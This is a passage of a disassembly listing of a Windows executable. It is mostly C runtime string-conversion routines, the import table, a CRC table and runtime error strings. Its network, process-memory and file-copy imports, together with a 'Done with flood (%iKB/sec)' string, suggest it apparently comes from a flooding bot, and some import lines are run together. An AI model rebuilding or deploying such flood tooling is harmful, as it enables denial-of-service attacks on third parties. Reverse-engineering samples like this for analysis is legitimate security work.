; ---------------------------------------------------------------------------


loc_4205B1:				; CODE XREF: sub_420585+19j
		cmp	ax, 100h
		jnb	short loc_4205CB
		push	1
		push	eax
		call	sub_420833
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4205CB
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_420585+30j
					; sub_420585+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_5158EC
		call	sub_4205FA
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_4205F8
		mov	ax, [ebp+var_2]

locret_4205F8:				; CODE XREF: sub_420585+1Fj
					; sub_420585+25j ...
		leave
		retn
sub_420585	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4205FA	proc near		; CODE XREF: sub_420585+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AB8
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_515B44, esi
		jnz	short loc_420670
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4216A0
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 7C80CCA8h
		test	eax, eax
		jz	short loc_42064E
		mov	dword_515B44, ebx
		jmp	short loc_420670
; ---------------------------------------------------------------------------


loc_42064E:				; CODE XREF: sub_4205FA+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_441700
		push	edi
		push	esi
		nop
		call	near ptr 7C838DE8h
		test	eax, eax
		jz	loc_4207EF
		mov	dword_515B44, 2


loc_420670:				; CODE XREF: sub_4205FA+2Ej
					; sub_4205FA+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_420685
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_420803
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_420685:				; CODE XREF: sub_4205FA+79j
		mov	eax, dword_515B44
		cmp	eax, 1
		jnz	short loc_4206AC
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80CCA8h
		jmp	loc_4207F1
; ---------------------------------------------------------------------------


loc_4206AC:				; CODE XREF: sub_4205FA+93j
		cmp	eax, 2
		jnz	loc_4207EF
		cmp	[ebp+arg_18], esi
		jnz	short loc_4206C2
		mov	eax, dword_5158FC
		mov	[ebp+arg_18], eax


loc_4206C2:				; CODE XREF: sub_4205FA+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 7C80A0D4h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_4207EF
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_420708
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_420708:				; CODE XREF: sub_4205FA+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_4207EF
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 7C80A0D4h
		test	eax, eax
		jz	loc_4207EF
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C838DE8h
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_4207EF
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42078B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_42078B:				; CODE XREF: sub_4205FA+17Dj
		cmp	ebx, esi
		jz	short loc_4207EF
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C838DE8h
		test	eax, eax
		jz	short loc_4207EF
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_4207C9
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_4207EB
		cmp	eax, edi
		jl	short loc_4207BA
		mov	eax, edi


loc_4207BA:				; CODE XREF: sub_4205FA+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_4182F0
		add	esp, 0Ch
		jmp	short loc_4207EB
; ---------------------------------------------------------------------------


loc_4207C9:				; CODE XREF: sub_4205FA+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_4207D2
		push	esi
		push	esi
		jmp	short loc_4207D8
; ---------------------------------------------------------------------------


loc_4207D2:				; CODE XREF: sub_4205FA+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4207D8:				; CODE XREF: sub_4205FA+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_4207EF


loc_4207EB:				; CODE XREF: sub_4205FA+1B8j
					; sub_4205FA+1CDj
		mov	eax, edi
		jmp	short loc_4207F1
; ---------------------------------------------------------------------------


loc_4207EF:				; CODE XREF: sub_4205FA+66j
					; sub_4205FA+B5j ...
		xor	eax, eax


loc_4207F1:				; CODE XREF: sub_4205FA+ADj
					; sub_4205FA+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4205FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_420803	proc near		; CODE XREF: sub_4205FA+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_420822


loc_420813:				; CODE XREF: sub_420803+1Dj
		cmp	word ptr [eax],	0
		jz	short loc_420822
		inc	eax
		mov	esi, ecx
		inc	eax
		dec	ecx
		test	esi, esi
		jnz	short loc_420813


loc_420822:				; CODE XREF: sub_420803+Ej
					; sub_420803+14j
		cmp	word ptr [eax],	0
		pop	esi
		jnz	short loc_420830
		sub	eax, [esp+arg_0]
		sar	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_420830:				; CODE XREF: sub_420803+24j
		mov	eax, edx
		retn
sub_420803	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420833	proc near		; CODE XREF: sub_420585+35p

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFh
		jz	short loc_420873
		cmp	[ebp+arg_0], 100h
		jnb	short loc_420857
		movzx	eax, [ebp+arg_0]
		mov	ecx, off_43B5A4
		mov	ax, [ecx+eax*2]
		jmp	short loc_42087A
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_420833+12j
		push	0
		lea	eax, [ebp+var_4]
		push	0
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	1
		call	sub_420885
		add	esp, 18h
		test	eax, eax
		jnz	short loc_420877


loc_420873:				; CODE XREF: sub_420833+Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_420877:				; CODE XREF: sub_420833+3Ej
		mov	eax, [ebp+var_4]


loc_42087A:				; CODE XREF: sub_420833+22j
		movzx	ecx, [ebp+arg_4]
		movzx	eax, ax
		and	eax, ecx
		leave
		retn
sub_420833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420885	proc near		; CODE XREF: sub_420833+34p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AD0
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_515B48
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_4208F4
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4216A0
		push	esi
		nop
		call	near ptr 7C80A490h
		test	eax, eax
		jz	short loc_4208D2
		mov	eax, esi
		jmp	short loc_4208EF
; ---------------------------------------------------------------------------


loc_4208D2:				; CODE XREF: sub_420885+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_441700
		push	esi
		push	edi
		nop
		call	near ptr 7C838A0Ch
		test	eax, eax
		jz	loc_420A36
		push	2
		pop	eax


loc_4208EF:				; CODE XREF: sub_420885+4Bj
		mov	dword_515B48, eax


loc_4208F4:				; CODE XREF: sub_420885+2Fj
		cmp	eax, 1
		jnz	short loc_420910
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80A490h
		jmp	loc_420A38
; ---------------------------------------------------------------------------


loc_420910:				; CODE XREF: sub_420885+72j
		cmp	eax, 2
		jnz	loc_420A36
		cmp	[ebp+arg_10], edi
		jnz	short loc_420926
		mov	eax, dword_5158FC
		mov	[ebp+arg_10], eax


loc_420926:				; CODE XREF: sub_420885+97j
		push	edi
		push	edi
		push	edi
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 7C80A0D4h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	loc_420A36
		mov	[ebp+var_4], edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_2C], eax
		push	esi
		push	edi
		push	eax
		call	sub_417430
		add	esp, 0Ch
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420984
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_2C], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_420984:				; CODE XREF: sub_420885+EAj
		cmp	[ebp+var_2C], edi
		jz	loc_420A36
		push	edi
		push	edi
		push	esi
		push	[ebp+var_2C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	220h
		push	[ebp+arg_10]
		nop
		call	near ptr 7C80A0D4h
		test	eax, eax
		jz	loc_420A36
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi+2]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		jmp	short loc_4209D9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx


loc_4209D9:				; CODE XREF: sub_420885+147j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	ebx, edi
		jz	short loc_420A36
		mov	eax, [ebp+arg_14]
		cmp	eax, edi
		jnz	short loc_4209ED
		mov	eax, dword_5158EC


loc_4209ED:				; CODE XREF: sub_420885+161j
		mov	ecx, [ebp+arg_8]
		lea	edi, [ecx+ecx]
		lea	esi, [edi+ebx]
		or	word ptr [esi],	0FFFFh
		or	word ptr [esi-2], 0FFFFh
		push	ebx
		push	[ebp+var_28]
		push	[ebp+var_2C]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 7C838A0Ch
		mov	[ebp+var_20], eax
		cmp	word ptr [esi-2], 0FFFFh
		jz	short loc_420A36
		cmp	word ptr [esi],	0FFFFh
		jnz	short loc_420A36
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41D840
		add	esp, 0Ch
		mov	eax, [ebp+var_20]
		jmp	short loc_420A38
; ---------------------------------------------------------------------------


loc_420A36:				; CODE XREF: sub_420885+61j
					; sub_420885+8Ej ...
		xor	eax, eax


loc_420A38:				; CODE XREF: sub_420885+86j
					; sub_420885+1AFj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420885	endp

; ---------------------------------------------------------------------------
		align 4
		dd 16Dh	dup(0)
		dd 7C80B974h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C832044h
		dd 7C812641h, 7C81DC03h, 7C80A490h, 7C838A0Ch, 7C937A40h
		dd 7C810E51h, 7C812F39h, 7C80CC97h
dword_421034	dd 7C812F08h	; resolved to->KERNEL32.GetEnvironmentStringsW		dd 7C81CF5Bh, 7C814AE7h, 7C81DF77h, 7C862E2Ah, 7C8127A7h
		dd 7C809915h, 7C812E76h, 7C80CCA8h, 7C838DE8h, 7C809A51h
		dd 7C80C058h
dword_421064	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_401D79+3Dr ...
		dd 7C80A427h, 7C82FA46h
dword_421070	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_4078E6+D1r ...
dword_421074	dd 7C809BF8h	; resolved to->KERNEL32.MultiByteToWideChar					; sub_417CAE+54r ...
		dd 7C80180Eh
dword_42107C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_40B7FD+6r ...
		dd 7C810D87h, 7C8312E5h
dword_421088	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA		dd 7C80B4CFh, 7C83632Dh, 7C8361EEh, 7C910331h
dword_42109C	dd 7C810637h	; resolved to->KERNEL32.CreateThread		dd 7C810A77h, 7C81153Ch, 7C80EDD7h, 7C80E7ECh, 7C80E866h
		dd 7C834EB1h
dword_4210B8	dd 7C8137D9h	; resolved to->KERNEL32.FindFirstFileA		dd 7C810B8Eh, 7C9010EDh, 7C901005h, 7C80B829h, 7C91188Ah
		dd 7C80ABDEh
dword_4210D4	dd 7C80F0F4h	; resolved to->KERNEL32.GetEnvironmentVariableWdword_4210D8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_409794+11r ...
dword_4210DC	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA		dd 7C91043Dh
dword_4210E4	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_409307+4Ar
dword_4210E8	dd 7C80ABC1h	; resolved to->KERNEL32.GetProcessHeap					; sub_409307+40r ...
		dd 7C80B9A0h
dword_4210F0	dd 7C8021CCh	; resolved to->KERNEL32.ReadProcessMemory		dd 7C812D56h
dword_4210F8	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcessdword_4210FC	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 7C82F7A0h, 7C80FE82h, 7C80FF19h, 7C80B905h, 7C80945Ch
		dd 7C831CB8h, 7C831C45h, 7C802367h, 7C8329D9h, 7C812782h
		dd 7C835DCAh, 7C812ADEh
dword_421130	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileA		dd 7C81AE17h, 7C85F90Fh, 7C80DDFEh
dword_421140	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_421144	dd 7C81E0C7h	; resolved to->KERNEL32.CreatePipe		dd 7C8310F2h, 7C814EEAh, 7C80A7D4h, 7C81CDDAh
dword_421158	dd 7C80A0D4h	; resolved to->KERNEL32.WideCharToMultiByte					; ___:0041CFABr ...
		dd 7C8216A4h, 7C831EABh, 7C809920h, 7C802520h, 7C80E93Fh
		dd 7C81CE03h, 7C835E8Fh, 7C801E16h, 7C80BAA1h, 7C80D262h
		dd 7C830B14h, 7C8350BFh, 7C80176Bh, 7C9179FDh, 7C801EEEh
		dd 7C812F1Dh, 7C8111DAh, 7C810EF8h, 7C812BB6h
dword_4211A8	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree		align 10h
		dd 77C019FFh, 77C01A50h, 77C018BAh, 0
		dd 71AB4428h, 71AB664Dh, 71AB3EA1h, 71AB3E00h, 71AB88D3h
		dd 71AB2DC0h, 71AB4544h, 71AC1028h, 71AB2BF4h, 71AB2B66h
dword_4211E8	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_40381E+9Br
dword_4211EC	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_4033C9+26Br ...
dword_4211F0	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB3F41h, 71AB3B91h, 71AB4519h, 71AB406Ah, 71AB9639h
		dd 2 dup(0)
dword_421210	dd 0				dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh
byte_42160C	db 8Dh			; DATA XREF: sub_419343+4Ar
		db 0EFh, 2, 2Dh
dbl_421610	dq 9.765625e-4		; DATA XREF: sub_40D091+2BDr
					; sub_40D091+2D8r ...
dbl_421618	dq -3.0517578125e-5	; DATA XREF: sub_415EF7+1Er
		dd 0FFFFFFFFh, 4191C6h,	4191DAh
byte_42162C	db 6			; DATA XREF: sub_419343:loc_41939Ar
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: ___:off_43B59Co
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: ___:off_43B598o
		align 10h
dword_4216A0	dd 2 dup(0)						; sub_41D6F3+39o ...
dword_4216A8	dd 0FFFFFFFFh, 41BD3Bh,	41BD3Fh, 0FFFFFFFFh, 41BDEFh, 41BDF3h
					; DATA XREF: sub_41BC2B+5o
dbl_4216C0	dq 1.0			; DATA XREF: sub_41C478+2Ar
dbl_4216C8	dq 4.195835e6		; DATA XREF: sub_41C478+Fr
dbl_4216D0	dq 3.145727e6		; DATA XREF: sub_41C478+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C4B6+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_41C4B6o
		align 10h
dbl_421700	dq 0.0			; DATA XREF: sub_41C587+6r
dword_421708	dd 30302B65h, 30h, 746E7572h, 20656D69h, 6F727265h, 2072h
					; DATA XREF: sub_41C5DD+93o
		dd 534F4C54h, 72652053h, 0D726F72h, 0Ah, 474E4953h, 72726520h
		dd 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: ___:off_43BAECo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41D415+119o
		align 10h
asc_4219C0	db 0Ah			; DATA XREF: sub_41D415+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41D415+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41D415+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41D415+7Do
		align 10h
dword_421A00	dd 0FFFFFFFFh, 41D7ECh,	41D7F0haSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41DD12+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41EE5D+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41EE5D+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41EE5D+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F7F0:loc_41F8E5o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F7F0+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F7F0+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F7F0+ADo
		align 10h
dword_421AA0	dd 0FFFFFFFFh, 41FFF9h,	41FFFDh, 0FFFFFFFFh, 420068h, 42006Ch
					; DATA XREF: sub_41FE42+5o
dword_421AB8	dd 0FFFFFFFFh, 4206FCh,	420700h, 0FFFFFFFFh, 420779h, 42077Dh
					; DATA XREF: sub_4205FA+5o
dword_421AD0	dd 0FFFFFFFFh, 420971h,	420975h, 0FFFFFFFFh, 4209CEh, 4209D2h
					; DATA XREF: sub_420885+5o
		dd 5 dup(2E5DFEC1h), 5 dup(1C3E825Eh), 5 dup(2A993EADh)
		dd 70h dup(0)
		dd 2A993EADh, 3	dup(0)
		dd 1C3E825Eh, 12h dup(0)
		dd 2E5DFEC1h, 4AFh dup(0)
dword_423000	dd 0				dd offset sub_40417B
dword_423008	dd 0		dword_42300C	dd 0				dd offset sub_41C3C0
		dd offset sub_41D5D2
dword_423018	dd 0		dword_42301C	dd 0				dd offset sub_41D677
dword_423024	dd 0		dword_423028	dd 0		dword_42302C	dd 0		unk_423030	db    2			; DATA XREF: sub_401000+5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
